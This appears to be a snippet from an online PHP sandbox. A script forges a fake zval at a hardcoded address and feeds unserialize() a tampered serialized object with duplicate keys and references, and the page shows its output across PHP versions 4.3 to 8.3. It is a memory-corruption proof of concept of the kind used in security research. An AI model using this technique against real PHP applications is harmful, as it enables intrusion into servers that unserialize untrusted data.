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<?php $base = 0xb788; function ptr2str($ptr) { $out = ""; for ($i=0; $i<8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } $zval = ptr2str($base);// zvalue_value value; /* value */ $zval .= ptr2str(0xf); $zval .= "\x00\x00\x00\x00";// zend_uint refcount__gc; //$zval .= ptr2str(0); $zval .= "\x06";// zend_uchar type; /* active type */ //$zval .= ptr2str(0x6); $zval .= "\x00";// zend_uchar is_ref__gc; $zval .= ptr2str(0); $zval .= ptr2str(0); $zval .= ptr2str(0); $zval .= 'AA'; $m = new StdClass(); $u = 'AAAA'; $m->aaa = array(1,2,&$u,4,5); $m->bbb = 1; $m->ddd = array(1,2,$zval); $m->ccc = &$u; $z = serialize($m); $z = str_replace("bbb", "aaa", $z); var_dump($z); $y = unserialize($z); var_dump($y);
Output for 5.0.4 - 5.0.5, 5.1.0 - 5.1.6, 5.2.0 - 5.2.17, 5.3.0 - 5.3.8, 5.4.36 - 5.4.45, 5.5.24 - 5.5.35, 5.6.8 - 5.6.28, 7.0.0 - 7.0.20, 7.1.0 - 7.1.25, 7.2.0 - 7.2.33, 7.3.0 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.19, 8.3.0 - 8.3.7
string(202) "O:8:"stdClass":4:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;s:4:"AAAA";i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ddd";a:3:{i:0;i:1;i:1;i:2;i:2;s:48:"��AA";}s:3:"ccc";R:5;}" object(stdClass)#2 (3) { ["aaa"]=> int(1) ["ddd"]=> array(3) { [0]=> int(1) [1]=> int(2) [2]=> string(48) "��AA" } ["ccc"]=> string(4) "AAAA" }
Output for 5.0.0 - 5.0.3, 5.3.9 - 5.3.29, 5.4.0 - 5.4.35
string(202) "O:8:"stdClass":4:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;s:4:"AAAA";i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ddd";a:3:{i:0;i:1;i:1;i:2;i:2;s:48:"��AA";}s:3:"ccc";R:5;}" object(stdClass)#2 (3) { ["aaa"]=> int(1) ["ddd"]=> array(3) { [0]=> int(1) [1]=> &int(2) [2]=> string(48) "��AA" } ["ccc"]=> &int(2) }
Output for 4.3.11, 4.4.0 - 4.4.9
string(202) "O:8:"stdClass":4:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;s:4:"AAAA";i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ddd";a:3:{i:0;i:1;i:1;i:2;i:2;s:48:"��AA";}s:3:"ccc";R:5;}" object(stdClass)(3) { ["aaa"]=> int(1) ["ddd"]=> array(3) { [0]=> int(1) [1]=> int(2) [2]=> string(48) "��AA" } ["ccc"]=> string(4) "AAAA" }
Output for 4.3.0 - 4.3.10
string(202) "O:8:"stdClass":4:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;s:4:"AAAA";i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ddd";a:3:{i:0;i:1;i:1;i:2;i:2;s:48:"��AA";}s:3:"ccc";R:5;}" object(stdClass)(3) { ["aaa"]=> int(1) ["ddd"]=> array(3) { [0]=> int(1) [1]=> &int(2) [2]=> string(48) "��AA" } ["ccc"]=> &int(2) }

preferences:
244.25 ms | 402 KiB | 328 Q